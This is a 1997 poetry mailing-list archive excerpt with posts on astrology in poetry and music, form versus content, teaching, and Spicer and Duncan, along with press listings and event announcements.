At 10:37 AM +0600 3/19/97, KENT JOHNSON wrote:

> *How much?*

$32 in the U.S., includes postage. Elsewhere--it's negotiable. (Recently SPT received a $10 check from Canada, in U.S. funds, and the bank charged us $5 to cash it).

Dodie

↑ Index

534. **Peter Landers**
Re: Astrology poetics
Wed 19 Mar 1997

There is a composer named Dane Rudyar, I think, who is more conservative than Stockhausen. He has also written several books on astrology. That's all I have. Now if you were doing a study on martyrology ... :-)

Pete Landers
[redacted]

↑ Index

535. **Pritchett,Pat**
Re: Astrological poetics
Wed 19 Mar 1997

Those symbols, quite fascinating in themselves and a good source for a Zodiac poem of whatever sort, were later collected and given a gloss by Dane Rudhyar.

Patrick Pritchett

From: Wendy Battin
To: POETICS
Subject: Re: Astrological poetics
Date: Wednesday, March 19, 1997 11:23AM

On Wed, 19 Mar 1997, Kathleen Crown wrote:
> You might be interested in the angelology & mathematics of H.D.'s long poem
> SAGESSE (1957), in which degrees of an astrological chart become
> angel-visitants. The poem is in HERMETIC DEFINITION.

About 30 years after Marc Edmund Jones' Sabian Symbols, all 360 of them, supposedly "channeled" (canal-ed like Mars?) but quite a poem in itself.

Wendy

↑ Index

536. **Jordan Davis**
Mister Apology
Wed 19 Mar 1997

Ok ok. You got me, Rod. I just mad.

I'd like to go back to Chris Stroffolino's post on Harryman, metaphysics, and whether message forces form. Isn't there an essay by Kleist about puppet theater that warns against this kind of analysis? that the self-consciousness it induces destroys the possibility of formulating the message in a beautiful way? I realize this is exactly the injunction Chris is betting against with most of what he writes. Hyperconsciousness (Bach)? Or, as Steve Evans calls it, the mordantly recursive work of Chris Stroffolino. That is, he worries about the moral life of words and the linguistic activity around the ethics of the person engaged in the pursuit of ordinary unhappiness. Not to make this a discussion of individual writers, but following the work of say Milman Parry on Homer, I'd suggest that there are a number of strategies that a writer uses, a number of 'moves' that are combined, not mechanistically but something like that, kinesthetically. These 'moves' are connected to but different from the writer's 'ideas', which it seems to me are the ways the writer looks at [listens to?] what is written (coordination). The 'moves' are often acquired from the texts of other writers (influence), while the 'ideas' seem to be more closely connected to people talking -- the social lives of upbringing, education, etc etc. Then there are the ongoing biographical entropic/building-up effects on the writing -- the moves and the ideas -- that are legible also in the individual's behavior (okay I'm a mystical Freudian).

The 'amusing and reasonable' statute hasn't been on the books for a hundred years, sorry I tried to prosecute.

Now if you wanna talk about mysticism ...

Jordan

↑ Index

537. **Rachel Blau DuPlessis**
Re: wieners + (alan) davies
Wed 19 Mar 1997

Louis--I git April 11, John Weiners, Writer's House, Penn. But WHEN (i.e. what time of day) Thanx, RBD across the Schuylkill

↑ Index

538. **Laura Moriarty**
Re: Astrology poetics
Wed 19 Mar 1997

Ira:

My book Persia (Chance Additions) was written in relation to tarot cards - though not apparent from the work the Roman numerals stand for the cards -

some astrological stuff in there - and there is also mention of such in Symmetry (Avec Books) - even a poem called Astrology - I've alwasy been interested in the detritus of western civ/con game aspect of the pseudo sciences -

Norma Cole's book Mars (Listening Chamber) does have to do with the god of war, Dante etc so that should relate - the cover (by Jess) is an interesting use of that kind of material -

Would be happy to backchannel more thought about this -

Laura Moriarty

↑ Index

539. **Douglas**
New Sun & Moon titles
Wed 19 Mar 1997

Sun & Moon Press has several new titles, just in.
As in the past, we will give anyone ordering through
E-mail from the poetics list a 20% discount.

UNBOUND: A BOOK OF AIDS
by Aaron Shurin

Witnessing the illnes and death of many of friends
from AIDS, San Francisco poet Aaron Shurin began a
series of writings that, as he puts it, "are the
stations of an elarging question: the question,
alarmed, of a cell aroused by invasion, or the
yearning curl of a lover's body awake on the vacated
sheets."
  The startlingly original and provocative book
that resulted was not a project but a process of
learning about AIDS and its implications THROUGH
the activity of writing itself. It is, in that
context, not a book ABOUT AIDS but, growing
from Shurin's attempt to understand and reach out
to those around him, a book OF AIDS.

Cloth $19.95

SEEKING AIR, by Barbara Guest

Guest's 1978 novel, a truly original and
fabulous work, is now reprinted into Sun &
Moon's Classics Series.

Paperback, $12.95

THE BLIND CAT BLACK and ORTHODOXIES
by Ece Ayhan
Translated from the Turkish by Murat
Nemet-Nejat

Wonderfully experimental poetry by the great Turkish poet, Ece Ayhan. Both works printed here take the reader through the dark streets of the Galata district of Istanbul, an area where European minorities lives historically side by side with red light sexual activities. Like a modern-day Rimbaud, Ayhan explores a world of fear, love, and wonderment.

MAY SKY: THERE IS ALWAYS TOMORROW
A History and Anthology of Haiku in
the World War II Interment Camps for
Japanese American Citizens
Edited and Translated by Violet Kazue
de Christoforo

Sun & Moon is extremely proud to have published this profoundly moving history of the Japanese Haiku clubs and their continution, along with other artistic activities, in the Internment Camps of World War II. Kazue de Christoforo recounts the background of the California clubs, the painful process of arrest and internment, and translates a large selection of haiku written in the camps. She has tracked down most of the active members of the various haiku clubs and presented biographies of them as well. With maps, photographs, and many other fascinating details.

Cloth $29.95

Order from Sun & Moon Press [redacted]
or directly from our Web Site http://www.sunmoon.com

Douglas Messerli

↑ Index

540. **Douglas**
Re: New Sun & Moon titles
Wed 19 Mar 1997

I forgot to give the price of the Ayhan
book. It's Paperbound at $10.95, in
the Sun & Moon Classics series.

Douglas wrote:
>
> Sun & Moon Press has several new titles, just in.
> As in the past, we will give anyone ordering through
> E-mail from the poetics list a 20% discount.
>
> UNBOUND: A BOOK OF AIDS
> by Aaron Shurin
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> Witnessing the illnes and death of many of friends
> from AIDS, San Francisco poet Aaron Shurin began a
> series of writings that, as he puts it, "are the
> stations of an elarging question: the question,
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> yearning curl of a lover's body awake on the vacated
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> that resulted was not a project but a process of
> learning about AIDS and its implications THROUGH
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> context, not a book ABOUT AIDS but, growing
> from Shurin's attempt to understand and reach out
> to those around him, a book OF AIDS.
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> SEEKING AIR, by Barbara Guest
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> or directly from our Web Site http://www.sunmoon.com
>
> Douglas Messerli

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541. **Mark Weiss**
Re: Astrology poetics/music
Wed 19 Mar 1997

Might as well beg the obvious--Gustave Holst's The Planets is about astrology, not space travel. I think it's garbage, but there it is.

At 11:58 AM 3/19/97 -0500, you wrote:
>Has anyone mentioned George Crumb's Makrokosmos? I think both sets are based
>on the zodiac. The scores are quite lovely.
>
>Maryrose Larkin
>
>

↑ Index

542. **Mark Weiss**
Re: Astrology poetics
Wed 19 Mar 1997

I'm piggy-backing on others to save time. The zodiac is a common theme in the decoration of medieval and renaissance churches, particularly in Italy, but I forget just where. Should be easy to track down.
At 12:25 PM 3/19/97 -0500, you wrote:
>There is a composer named Dane Rudyar, I think, who is more conservative
>than Stockhausen. He has also written several books on astrology. That's
>all I have. Now if you were doing a study on martyrology ... :-)
>
>Pete Landers
>[redacted]
>
>

↑ Index

543. **William Burmeister Prod**
Re: formally disturbed
Wed 19 Mar 1997

What Henry Ghoul'd said:
> Under the subject
> AMERICAN LITERATURE - POETRY - LATE 20th CENTURY, you will find

eight
> titles published between 2012 and 2120, specifically dealing with the
> rap/langpo dialectic as an index of cultural dissonance in late-20th
> cent. US culture. You will find 3 books on Rap metrics/rhyme, and an whopping
> 85 titles on poetry as performance in late millenial caffeine etiquette.
> An if you mess wi me
> you gonna bookified be
> I am the numbala one king
> of dis library thing
> I say libuububububary bury me
> baby inna bubblemath sea - hey
> - Henny Ghoul'd

Yes but how does all that pulp fit into your own weltanschuuang my dear Herr Ghoul?

Throwing books and dead letters at me eh?. You must be Ghoul'd!

An if you bookified baby
gonna say you king
of dis library thing
I say, hey, you's a mess.

"Avant-Garde is revolt and metaphysics"
-Rosenberg

Bill B.

↑ Index

544. dbkk
SPT: Pamela Lu and Ann Verornica Simon
Wed 19 Mar 1997

Small Press Traffic presents

Friday March 21, 7:30 p.m.

Pamela Lu
Ann Veronica Simon

New College Theater
777 Valencia Street
$5

Pamela Lu, from Southern California, received a B.A. in math from U.C. Berkeley, and her groundbreaking work has appeared in Explosive, Prosodia, Chain and Clamour. Lu's writing weaves in and out between poetry and fiction, mixing

the theoretical wit and spark of Barthes or Avital Ronell with a bewildered confusion and terror-like some Berkeley-born mutant blend of Gayatri Spivak, Shirley Jackson and Kurt Cobain.

Ann Veronica Simon is originally from Michigan. She received her M.F.A. from Louisiana State University and is currently in the Ph.D. program in Rhetoric at U.C. Berkeley. Her work has appeared in Exquisite Corpse, Trivia, Prosodia, Idiom and is forthcoming in Mirage and Clamour. A brilliant performer, Simon is the Ruth Draper de nos jours. Reading her cool, angular poetry is like following the dance notations of Martha Graham.

This event was programmed by Renee Gladman.

↑ Index

545. **Louis Cabri**
Re: wieners + (alan) davies
Wed 19 Mar 1997

I'll let you know soon as we do - really hope you can make it! It might be as early as 4pm, and no later than 7pm. Louis

↑ Index

546. **Hugh Steinberg**
Re: Astrological poetics
Wed 19 Mar 1997

You also might want to look at James Merrill's long poem, The Changing Light at Sandover, structured (and supposedly channeled through) a Ouija Board.

Also Ira, you might want to investigate non-western astrologies. I think Francisco Alarcon did some work using Aztec materials. Leslie Silko's the Almanac of the Dead is another place. I'm sure there's been some interesting stuff using Chinese and other Asian divination resources as well.

Hugh Steinberg

↑ Index

547. **eric pape**
Re: A branch off the "Disturbed" thread
Wed 19 Mar 1997

Joe and Susan: I tried to send separate posts a day ago but my server somehoww kicked it back to me. Hence the delay. I'm glad to see someone else is willing to face the sloppiness of the idea of teaching as "making a better world." It is sloppy, of course, to say so, and entirely impractical, but it's something I

keep abutting against in my own teaching. I think, really, its all the hope I have, at least in the more general pedagogical terms we've been addressing. Of course, there is all the hope in the world on a student by student basis, and perhaps that's the point after all. But at some point, I think, we will have to more rigorously explain what we mean by a better world, but that will have to deal with questionsof revolution, utopia, etc, which can't clearly be addressed here.But this must be the central ideal of any pedagogy. Yes,Susan, this threadhas come up before several times, with some very interesting results. If I remember properly, Gwyn and Carolyn Forche had some particularly important things to say in this context (I hope I'm not putting words in folks's mouths). But I think this is something that will keep coming up not only in poetic situations, since so many poets now teach, but also for "radicals,"since so many radicals also teach. Of course, this is not to say, here on this list more so, that poetry or radical politics has come to find a privileged site in academia. I certainly hope not, since I may soon be leaving the profession. Nevertheless, for those of us caught between, so to speak, it is important we keep talking about this stuff. Finally, I like to think that I too teach my students how to be more critical consumers of culture, questioners, etc. Most of the time, though I think I just entertainthem for awhile and release them to do their own work. I remember how important it was for me to find out that there was a context in which such stuff as poetry mattered, and maybe that's the best thing I can provide them. I just hope, basically, that I don't get in their way. Thanks, Eric.

↑ Index

548. **Mark Roberts**

(fwd) AWOL: PANIC MORALITY, MEDIA, CULTURE Conference

Thu 20 Mar 1997

In case anyone is passing through Sydney.....

mark

> *Date: Wed, 19 Mar 1997 23:58:56 +1000*
> *To:* [redacted]
> *From:* [redacted] *(AWOL)*
> *Subject: AWOL: PANIC MORALITY, MEDIA, CULTURE Conference*
>
> *The following information has been posted by AWOL for the organisers of the PANIC MORALITY, MEDIA, CULTURE Conference at Artspace. Please address all enquiries to Artspace at the contacts listed below.*
>
> **********

PANIC
MORALITY, MEDIA, CULTURE
Conference at Artspace

Saturday 12 April 9.30am - 5.30pm

Last year was a year of panics in Australia. The news constantly took us in close to terror and frenzy. Victims and eyewitnesses were coaxed to share their horror. Revelations were made about the sources of the panics, and figures emerged to fear and hate: killers, pedophiles, Asians.

So far this year it's business as usual in the news media: yet another massacre, yet more revelations of abuse... But in 1996, when Australians expressed their nostalgia for home and 'family values', their yearning for belonging and security, fears were unleashed of strange introverts, diplomats, clerics, migrants, street people. Our public places are anonymous and nondescript, yet they house these clever and well-disguised devils. And the news media are obvious culprits in creating the 'threats', with their entertainment values, ritual practices and social control agendas. Can the media do panic differently?

Other fears were more established, and these, curiously, are often about new media: violent video games, Internet porn, even commercial television. A moral crisis is provoked, tough measures are called for and a particularly susceptible target is named: boys, women, Generation X. But whose crisis is this?

In 1972 British sociologist Stanley Cohen published Folk Devils and Moral Panics in response to similar outbreaks of fear and frenzy. There were mods, rockers, muggings and football hooliganism. His terms 'folk devil' and 'moral panic' have become common sense categories in media and cultural studies, so that we don't think of them as connected to a particular theoretical tradition, the study of youth subcultures. What use are the categories when much of that tradition has been superseded?

Speakers:

Paul Jones (Dept of Sociology & Social Anthropology, UNSW) The Role of 'Moral Panic' in the Work of Stuart Hall

Jeannie Martin & Fiona Allon (Faculty of Humanities & Social Sciences, UTS) Panic in the Streets: home, homelessness & public spaces

George Morgan (Centre for Aboriginal Cultural Studies, University of Western Sydney) The Bulletin, Street Crime & the Larrikin Moral Panic in the Late 19th Century

Catharine Lumby (Media & Communication Studies, Macquarie University),

author of Bad Girls (Allen & Unwin), Mindless Violence & Loveless Sex:

John Potts (Media & Communi-cation Studies, Macquarie University) The Irrational in Commercial Television News

Philip Bell (Media & Communi-cation Studies, UNSW) Blainey and Hanson: the media "debates"

Lea Redfern (Faculty of Humanities & Social Sciences, UTS) The Pedophile as "folk devil"

Stephen Stockwell (Faculty of Education & the Arts, Griffith University) Childsplay, Racism and Port Arthur

Sally Stockbridge (Network 10) & Tim Dwyer (Aust Broadcasting Authority) Recurring moral panics & new methods of regulation

Clarice Butkus & Mark Evans (Media & Communication Studies, Macquarie University) Regulating the Emergent: traditional media's moral panic

Jason Sternberg (Dept of Journalism, University of Queens-land) Generation X: lifestyle panics & the new generation gap

David Marshall (Media & Cultural Studies Centre, University of Queensland) Technophobia: video-games, computer hacks & cybernetics

Registration: Full Day ($20 full / $15 concession)
or Single Sessions - 3 in total (Individual Sessions $8 full / $6 concession)

For full program details and registration, please contact Artspace.

Artspace
The Gunnery
43 - 51 Cowper Wharf Road
Woolloomooloo NSW 2011
Australia

tel [redacted]
fax [redacted]
e-mail [redacted]
URL http://www.culture.com.au/scan/artspace/

****

> *AWOL*
> *Australian Writing On Line*
> [redacted]
> *http://www.ozemail.com.au/~awol*
> *PO Box 333 Concord NSW 2137 Australia*
> *Phone 61 2 97475667, Mobile 015063970*
> *Fax 61 2 97472802*

Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/
SIS Team
Building G05 Maze Crescent
University of Sydney
Phone 61 2 93517710
Mobile 015063970
Fax 61 2 93517711

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549. **David Israel**

Re: Astrological poetics

Thu 20 Mar 1997

Hugh Steinberg notes --

> *...Also Ira, you might want to investigate non-western astrologies. I think Francisco Alarcon did some work using Aztec materials.*

Reminds of Octavio Paz's *Puerto del Sol* (I think?) -- based (if memory serves) on (or inspired by) the Aztec calendar. Enjoyable translation was done by Elliot Weinberger.

BTW, I recall seeing "new formalist" Dana Gioia's vol. entitled *Daily Horoscope* (Graywolf Press) --though I somehow doubt it has much to do w/ horoscopes.

As interesting as poetry based on astrological themes might be a study of astrological coordinates of poets. I find myself wondering about some of the classics -- Whitman vs. Dickinsen (Leo vs. Virgo? -- a wild guess); Williams vs. Pound (Taurus vs. Scorpio? -- ditto). (I was never much good w/ guessing sun-sign of conversants at parties, so be gentle w/ me if I've flubbed this one on all counts.)

-- David (sun in Gemini, moon in Libra) Israel

↑ Index

550. George Bowering
Re: Contraries/I will not rest from Mental Fight, etc.
Thu 20 Mar 1997

> *for one thing form is never more than an extension of content means that content becomes form and extends form: so the reality of form is integral: experience made actual in a construct of words*

Yeah, but it is literally true that one loves only form, & form comes into being when the thing is born.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

551. Pierre Joris
Re: Astrology poetics/music
Thu 20 Mar 1997

Ira -- listening right now to John Coltrane's INTERSTELLAR SPACE THE 6 CUTS OF WHICH ARE TITLED: 1. MARS 2. LEO 3.VENUS 4. JUPITER VARIATION 5
JUPITER 6. SATURN -- the music (Coltrane on tenor & bells, Rashied Ali on drums) is instellar, the space, according to the titles, however sub-solar. Trane's last recording. -- Pierre

==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through values or sentiments, in _one_ time, in _one_ history, in _one_ language, is the principle of alienation which constitutes man as privileged in so far as he is what he is, [...] imprisoning him in contentment with his own reality and encouraging him to offer it as an example or impose it as a conquering assertion. -- Maurice Blanchot

==========

↑ Index

552. **bat hartman**
Re: Astrological poetics
Thu 20 Mar 1997

On Thu, 20 Mar 1997, David Israel wrote:
> the classics -- Whitman vs. Dickinsen (Leo vs. Virgo? -- a wild guess);
> Williams vs. Pound (Taurus vs. Scorpio? -- ditto). (I was never much
> good w/ guessing sun-sign of conversants at parties, so be gentle w/ me if
> I've flubbed this one on all counts.)

You got Pound right--Oct. 30, just shy of All Souls'. Williams is the Virgo, Sept. 17. Whitman, May 31--Gemini, like Yeats & Dylan & Emerson. Dickinson, Dec. 10, Sagittarius. All courtesy of book of days from a student.

↑ Index

553. **Jonathan A Levin**
Re: force mouth content
Thu 20 Mar 1997

I like Jordan't tag line, so keep it.

I've been wondering much lately myself about form/content, though in a different context. I'm tempted to want to say, in Rorty fashion, that it's a bad metaphor and we're better off just letting go of it. Where does it come from? I can't imagine anyone in a Renaissance context, sonneteers, say, really having any use for it. Poetic practice would simply make the distinction irrelevant, and even impossible to formulate. When is it formulable? After, I think, Goethe and Coleridge, who make a point of saying form is content in order to combat a hyperrationalized scheme governed by analysis, taking things apart, murdering to dissect, etc. Form/Content is a product of the analysis wing of 18th century rationalism. (Frankly, I don't know if I have my history right here: I'm shooting from the hip, but I've been trying to understand the larger contexts of organicism, in order to understand the larger contexts of contemporary holism/ecology metaphors.)

Here's where I'm heading: from an organic point of view, or from the modified organicism that now passes as holism, form is necessarily an expression of content and content is necessarily a manifestation of form. They can't be teased apart. And the effort to keep talking in that language can only reflect our continued abasement before the gods of enlightenment analysis.

I'm still thinking about the practical implications for poetry and "formal" "experiment." "!" This could take a long time.

Jonathan Levin

↑ Index

554. Douglas Barbour
Re: that other thread about teaching
Thu 20 Mar 1997

Joe Safdie makes some good points (although I didnt read his call to arms until I had sent in my previous post with those terms in it). But all this talk about conservative & innovative form/content keeps coming up because it is important & it does have something to do with what many of us do. Hands up: how many of us have to teach poets we dont always admire as much as some of the poets we dont get a good chance to teach?

I taught a 3rd year course on Post-WW2 poetry in the US & the UK: it's a coverage course, so I have to teach such as Larkin, Lowell, those "L"s (both of whom, btw, Marjorie has written extremely interesting recent[last decade anyway] essays on), as well as Creeley, Olson, Levertov, O'Hara. I gave up on the Norton (partly because I even disagreed with its choices of poems by *its* poets, let alone appalling representation of those I care for (when they're in there). But some students really 'like' Larkin or Lowell or Plath. They find their work 'liberating,' 'moving.' say it 'speaks' to them. Wanting, like Joe, to let them find their own ways (as much as I can do so when I am up front & have all that power), I can certainly alert them to my biases, but also praise them for not just following my lead. Besides, there are interesting things to say about some of these writers' poems, both positive & critical (Larkin is fascinating as a figure of his culture, which so many in that culture 'trust': why?). Rich tends to capture the attention of many young women. Perhaps they will go beyond her & eventually find her writing a problem because it doesnt fully enact the free flow it announces, Perhaps not. There is an argument to be made for the reach of writing that carries a somewhat radical message in a way that allows many readers to connect with it (but there I am somehow falling into that division again; even as I say, everyday, that it is a construct & false, it's hard to teach without invoking it on some level, & then immediately, again, saying, no, no, that's not whatI meant at all...)

All of which is just to say, I've found this thread really interesting & do want to keep thinking the dangers inherent in what goes on when we carry our desires & biases into the classroom, a place where we dont always have complete control over what we teach.

==========

========== Douglas Barbour
How long Department of English

University of Alberta it takes for the promise to arrive, Edmonton
Alberta T6G 2E5 shaped as a flirt, a cheating [redacted]
FAX:[redacted] kiss, a whistle, an ambulance. H: [redacted]
John Tranter

↑ Index

555. **Louis Cabri**
spicer on f/c
Thu 20 Mar 1997

The idealist concept-philosophy that Jonathan Levin traces for one dichotomy - form/content - of the discursive trade on poetry haunts this list much more than any tomb of a living poet. Actually Spicer's theory, in the quote Kevin Killian posted from _Language_, has been, in the laboratories of the university humanities departments, recently confirmed (much like Einstein's theories were by later empirical observation of the galaxy): for if you trace the history of the condom - materials employed, its link-up with industrial manufacture, embeddedness [literally] in the domestic patriarchal economy, etc etc, and its recent marketing, etc., the whole social-historical works connected with it - you will find it parallels the development of the form/content dichotomy (and/or identity) in poetics.

Louis Cabri

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556. **oren.izenberg**
Re: force mouth content
Thu 20 Mar 1997

---

jonathan,

I don't know when "form" and "content" began to play these particular roles as TERMS, but the concepts are older than you allow-- you _might_ start with Bacon, whose critique of eloquence distinguishes between copia verborum and copia rerum-- so that augmentation, increase, discovery, PROPERLY takes place in relation to things rather than words, which are consigned to poetry. Poetry, for Bacon, marks the outside of the knowledge system...poetry is not error, it is that which is known not to be true.

But the appearance of copia with reference to vernacular English goes back to Puttenham...who annexes the rhetorical taxonomy of figures (in the Arte of English Poesie) on behalf of poetry, making the figuration the essence of poetry and

backforming rhetoric into a mode of speech resistant to figuration. Puttenham's kind is account of poetry as the change in the word that MAKES NO DIFFERENCE even as it is different (thus preserving 'innovation' while bracketing its association with factions and violence), is the prior move that allows Bacon to eliminate poetry from counting as knowledge at all.

The Romantics had to "recover" form, not just from the Enlightenment , but from the whole long history of epistemology as such, which depends in large measure on the invention of the difference between words and things--a difference in which poetry was a main antagonist and patsy.

take care,
O.

↑ Index

557. Douglas Barbour

Re: Astrology poetics/Spicer's "Language"

Thu 20 Mar 1997

I'd forgotten that lovely quote from Spicer, but thanks, it reminded me of George Bowering's long poem, _Allophanes_, which begins "The snowball appears in Hell / every morniing at seven." & continues:

Dr. Babel contends
about the world's form, striking
its prepared strings
endlessly, a pleasure
moving rings outward thru
the universe. All
sentences are to be served.

It then keeps its eyes fixed firmly far away from the stars. Probably doesnt fit either, since whatever 'mysticism' it engages it denies with wit -- including astrology. "Fixed" things & ideas: "Drive right past that lady, that's / St. As. Is."

every so often it's worth remembering George writes some damn fine poems, as well as all these fun postings...

========== Douglas Barbour
How long Department of English

University of Alberta
Alberta T6G 2E5

it takes for the promise to arrive, Edmonton
shaped as a flirt, a cheating [redacted]

FAX:[redacted] kiss, a whistle, an ambulance. H: [redacted]
John Tranter

↑ Index

558. **Lisa Samuels**
Re: force mouth content
Thu 20 Mar 1997

---

oren's post strikes me as a very good comment on the f/c business -- as though 'form' and 'content' were easy terms to dismantle! i'd say 'the whole long history of epistemology as such' =is= where we have to 'start' -- whatever it is we propose, exactly, to 'start' doing or changing or overcoming.

one book i have found very useful for these matters is marcia colish's =the mirror of language. a study in the medieval theory of knowledge= (revised edition, nebraska, 1983). she explains that classical philosophers tended to treat words as one type of sign, while augustine and other medieval thinkers tended to view signification as primarily verbal. meanwhile christianity encouraged the notion that knowledge was semiotic; but knowledge of god was inexact and so that encouraged the notion of signs as inexact. while medieval sign theory saw the =aenigma= of language as essential to understanding the content of the world, the development of formal logic (12th-14th centuries) decisively separated reality, thought, and language.

can we have aquinas's '=verbum mentis='? only if language is the whole world. that's why the form/content debate won't go away, i think, though it can be profitably imagined in less binary ways.

-lisa s.

According to [redacted]:
>
> jonathan,
>
> I don't know when "form" and "content" began to play these particular
> roles as TERMS, but the concepts are older than you allow-- you _might_
> start with Bacon, whose critique of eloquence distinguishes between copia
> verborum and copia rerum-- so that augmentation, increase, discovery,
> PROPERLY takes place in relation to things rather than words, which are
> consigned to poetry. Poetry, for Bacon, marks the outside of the
> knowledge system...poetry is not error, it is that which is known not to
> be true.
>
> But the appearance of copia with reference to vernacular English goes

> back to Puttenham...who annexes the rhetorical taxonomy of figures (in
> the Arte of English Poesie) on behalf of poetry, making the figuration
> the essence of poetry and backforming rhetoric into a mode of speech
> resistant to figuration. Puttenham's kind is account of poetry as the
> change in the word that MAKES NO DIFFERENCE even as it is different
(thus
> preserving 'innovation' while bracketing its association with factions
> and violence), is the prior move that allows Bacon to eliminate poetry from
> counting as knowledge at all.
>
> The Romantics had to "recover" form, not just from the Enlightenment , but
> from the whole long history of epistemology as such, which depends in
> large measure on the invention of the difference between words and
> things--a difference in which poetry was a main antagonist and patsy.
>
> take care,
> O.
>

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559. **Aaron Vidaver**

Against Wisdom as Such

Thu 20 Mar 1997

It's delightful that Kevin Killian quotes Spicer, and in particular that poem. The Seminar on Mythos at Runcible Mountain College (here in Vancouver) was discussing the poem in our class just last week.

I'm not clear on how the poem can be seen as aligning itself with Olson contra Duncan. We thought that the poem passed judgement over both of them as false prophets. But also, there's something odd in Spicer's positive conception of the mythic within his own poetry.

Olson's polemic against Duncan charges him with illegitimately dragging in figures external to art and scolds him for not being properly subordinate to the moment of composition.

"I fall back on a difference I am certain the poet at least has to be fierce about: that he is not free to be part of, or to be any, sect; that there are no symbols to him, there are only his own composed forms, and each one soley the issue of the time of the moment of its creation, not any ultimate except what he in his heat and that instant in its solidity yield. That the poet cannot afford to traffick in any other 'sign' that his one, his self, the man or woman he is. Otherwise

God does rush in. And art is washed away, turned into that second force, religion." (Human Universe, 68-9)

Our seminar thought that Spicer's criticism of the arrogance of the poet extended to Olson because of the latter's insistence upon the MOMENT of writing, upon the primacy of the poet IN that moment, and hence the "usability" of anything which may enter the field-- including god, star, totem. But it is odd, too, that Spicer brings in the image of the condom. To what use does one put a spattered, worn-out condom?

More troubling for us, however, was the question of what this thing called belief has to do with poetry. ("If you don't believe in a god, don't quote him"). Doesn't the very idea betray the principle of dictation? What business is it of the poet to be dabbling in epistemology at all?

Also troubling was the question of distinguishing the mythological from the non-mythological within a poem. Why point to the presence of "Zeus" as a problem while "house" remains an understood commonplace, readily assimilated into a readerly unpacking. Is there a clear basis for making the distinction without reverting to some form of scientism ("that which is non-cognitive does not exist")?

I'm curious to hear any replies to these comments, here, or elsewhere.

Aaron Vidaver, on behalf of the
Seminar on Mythos
Runcible Mountain College

Here too of import is Duncan's "And a Wisdom as Such."

(Etude from the Fourth Treatise of the _Convivio_, Chapters XVII and XXI)

And a wisdom as such, a loosening
of energies and every gain! For good.
A rushing-in place of "God", if it be!

Open out like a rose
that can no longer keep its center closed
but, practicing for Death, lets go,

let's go, littering the ground
with petals of its rime,

_"and spreads abroad the last perfume
which has been generated within"--_

sweet warning the heart,
the rose hip, knows
of how soon the rapturous outpouring

speech of self into the silence of the mind
comes home, and, even the core
dispersed, in darkness of the ground
        is gone

out from me, the very last of me,
till I am rid of every rind and seed
into that sweetness,
that final giving over, letting go,
that scattering of every nobleness...

_"the seed of blessedness draws near   de-
spatcht by God into the welling soul."

[October 20,1973]

↑ Index

560. **Dale Smith**
Re: Astrological poetics
Thu 20 Mar 1997

Keats, Dostoevsky, Augustine, Lamantia, Goethe, Musil, Malreaux, Notley, Berrigan, and Kyger, to name a few.

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561. **Matthias Regan**
Re: Contraries/I will not rest from Mental Fight, etc.
Thu 20 Mar 1997

At 12:18 AM 3/20/97 -0800, you wrote:

> *for one thing form is never more than an extension of content means that content becomes form and extends form: so the reality of form is integral: experience made actual in a construct of words*
>
> *Yeah, but it is literally true that one loves only form, & form comes into being when the thing is born.*

Form might be very popular now, might have been very popular for the modernists, but I'm not so sure that "one loves _only_ form" would apply to much eng. poetry before 1900. Hopkins makes a pretty good case against love of form in "Kingfishers Catch Fire"; and I think Herbert in _The Temple_ ultimately discards form, a vehicle for this known world only. I make this case to suggest that in at least eng. lit. the love of form and form alone is relatively new and perhaps we shouldn't take it so much for granted. For the modernists

the form/content dualism is analagous to, if not another word for, a dualism between individual, different details and abstractions. (This dualism breaks down when the idea of a single right abstraction dissolves, Truth becoming hegemony.) (I'm absolutely NOT advocating some wildly reactionary return to poetry of a Christian God as the above examples, taken alone, might indicate.This is more an effort to describe what people today think when they think about "poetry.") Someone in the astrological poetry thread recently mentioned Merrill: what was form for him? I belive _Changing Light_ makes use of almost every major "poetic form" in eng. (This discussion hasn't been limited to traditional ideas of form, but as a shorthand signifier of poetic form historical rhymes & meters work well.) And of course the whole poem claims it was originally to be a novel. Is the message something other than its form when a Ouji board is used?

Matthias, pondering loudly

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562. **Matthias Regan**
Re: Astrological poetics
Thu 20 Mar 1997

At 08:47 AM 3/20/97 -0500, you wrote:
>
>You got Pound right--Oct. 30, just shy of All Souls'. Williams is the
>Virgo, Sept. 17. Whitman, May 31--Gemini, like Yeats & Dylan & Emerson.
>Dickinson, Dec. 10, Sagittarius. All courtesy of book of days from a
>student.

What about Scorpios? Who shares signs with me? I remember Sam Shepard from a Calender I used to have...

↑ Index

563. **henry gould**
form/content? good idea!
Thu 20 Mar 1997

It's not the questions around form/content (which seem to be endless and inherent, whether you're coming from a theoretical/philosophical/historical interest or from a fabricator's perspective) over which I lose my easily- lost temper. It's the other binary - the idea that a poet goes for "traditional" (rhyme/meter) or "innovative" - that loses me. But yes nobody really said that anyway so let's not start that wheel going, Hank...

I liked what Mark Wallace said about people like Mac Low & other "innovators" working from their own "strict" forms. This ground has been plowed many a time but it's worth remembering... & for my book, again Valery's essays are a gold mine of insight on these questions. See "Man and the Seashell" on form & content - and the useless freedom of art-making as its only truly HUMAN characteristic. Such a position should give pause to both philosophical "enemies" of poetry (Bacon?) and philosophical "friends" (all those false friends in the Party of Ideology - are you listening, "Poetry & the Public Sphereoids"? I's bein provocative, I thinks uh hopes) - Henry Gould

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564. **David Kellogg**
Re: far reader
Thu 20 Mar 1997

Thanks, Louis, for the reference to Mittenthal, which I did not know. I'm somewhat mystified by the broad brush of your dismissal, however, as well as its specifics. For example, I don't understand the critique about poetry being "hardly ever referred to described or invoked"; my copy, anyway, invokes poetry in every essay except for the chapter entitled "in defense of ideology." Poets quoted in block form include Auden, Marvell, Blake, Tadeusz Rózewicz, Mahmoud Darwish, Roque Dalton, Erich Fried, Nazim Hikmet, Herberto Padilla, Andrei Voznesensky, Robert Bly, Bob Perelman, and Scully himself.

At 12:11 AM 3/19/97 -0500, Louis Cabri wrote:
>Robert Mittenthal brilliantly critiques James Scully's book,
>_Line Break_, starting from the fact that while the book is about
>the "the social practice of poetry" poetry is hardly ever
>referred to described or invoked. And Scully didn't even write
>his book on a listserv! (See Mittenthal's review in _Writing_ 25
>[1990].) Of course arguing from out of - from within - poetry
>does not _garantee_ a better argument either - that is, a truly
>"deep encounter," for instance, as Christopher Alexander would
